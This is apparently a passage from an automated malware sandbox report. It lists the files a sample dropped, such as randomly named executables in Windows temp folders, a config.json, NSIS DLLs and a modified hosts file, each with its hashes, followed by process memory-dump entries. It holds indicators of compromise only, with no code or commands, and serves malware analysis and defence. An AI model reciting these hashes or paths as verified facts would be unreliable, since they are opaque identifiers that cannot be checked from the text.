97214eb96bbaf476d0c2b6be45450ea461a45afe62e338a88708d0447428b18e

SHA512
e60e90b12c0853bfa2c5ba6cc4082cb66f167cc08d5edd1f7f908069b662d7d040d8eb5e4b53b130de26cf2c6d5984009fb66ef55bbb0b8353fd1a3dad3644c5

Download Submit
C:\Windows\TEMP\lfgfkziiz\776.dmp

Filesize
3.4MB

MD5
25f9b1027213d2ec574ae29eca1db669

SHA1
8ea4584bffd9c892a181da38842e8499289a8415

SHA256
0d8cf224e8aadce37a3c806a010a4a4746733886689b7cd68cd8efbc68d7323b

SHA512
0a57ba7e67e5b59f8b88dbae0143b5acd99b8baa713538efef86efad94cc6992a71dd064ec01c1bb3c450c51bb28f1c90a36702c4e3b1abb9856b4d216f76c81

Download Submit
C:\Windows\TEMP\vffbshfye\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\vffbshfye\kchkra.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\lfgfkziiz\bcpfmifvy.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\nshCA09.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nshCA09.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\lfgfkziiz\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\lfgfkziiz\cbmauknem\ivzhfikpb.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\lfgfkziiz\cbmauknem\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\uclvtabv\cvlatmn.exe

Filesize
7.4MB

MD5
2272a232a8374db1c0354f3ffad3aa5e

SHA1
976c4f53f435e79575be0f2fc12cb2f8b641ef31

SHA256
d5cb9bf59852965b432f2703106cd6aac8b2c26174d947539b486f7922c39adc

SHA512
d0203b63ce067f7169ea9820b50b75d427840c33028d4ab9f2a21967bd77abf0a16d9c1fc0a7a211efd3283d357911c0735235857717cbd7239ac5cefb3bc527

Download Submit
memory/512-3-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/548-179-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/760-203-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/928-211-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/1460-225-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/1652-145-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1652-163-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1660-198-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/2084-185-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/2260-229-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/2316-189-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/3436-207-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/3456-231-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/3512-216-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/3928-170-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/3968-133-0x00007FF6958E0000-0x00007FF6959CE000-memory.dmp

Filesize
952KB

Download
memory/3968-135-0x00007FF6958E0000-0x00007FF6959CE000-memory.dmp

Filesize
952KB

Download
memory/4104-194-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/4512-221-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/4776-174-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/4812-251-0x0000000000DF0000-0x0000000000E02000-memory.dmp

Filesize
72KB

Download
memory/4812-250-0x0000000000DF0000-0x0000000000E02000-memory.dmp

Filesize
72KB

Download
memory/4964-237-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/5280-139-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/5280-161-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/5392-235-0x00007FF626410000-0x00007FF62646B000-memory.dmp

Filesize
364KB

Download
memory/5532-252-0x0000000000DF0000-0x0000000000E02000-memory.dmp

Filesize
72KB

Download
memory/5732-167-0x000002A0F8560000-0x000002A0F8570000-memory.dmp

Filesize
64KB

Download
memory/5732-200-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-219-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-232-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-213-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-165-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-261-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-248-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-260-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-255-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-176-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-181-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-253-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5732-254-0x00007FF6A1EA0000-0x00007FF6A1FC0000-memory.dmp

Filesize
1.1MB

Download
memory/5896-75-0x0000000000D40000-0x0000000000D8C000-memory.dmp

Filesize
304KB

Download
memory/6052-249-0x0000000000DF0000-0x0000000000E02000-memory.dmp

Filesize
72KB

Download
memory/6052-247-0x0000000000DF0000-0x0000000000E02000-memory.dmp

Filesize
72KB

Download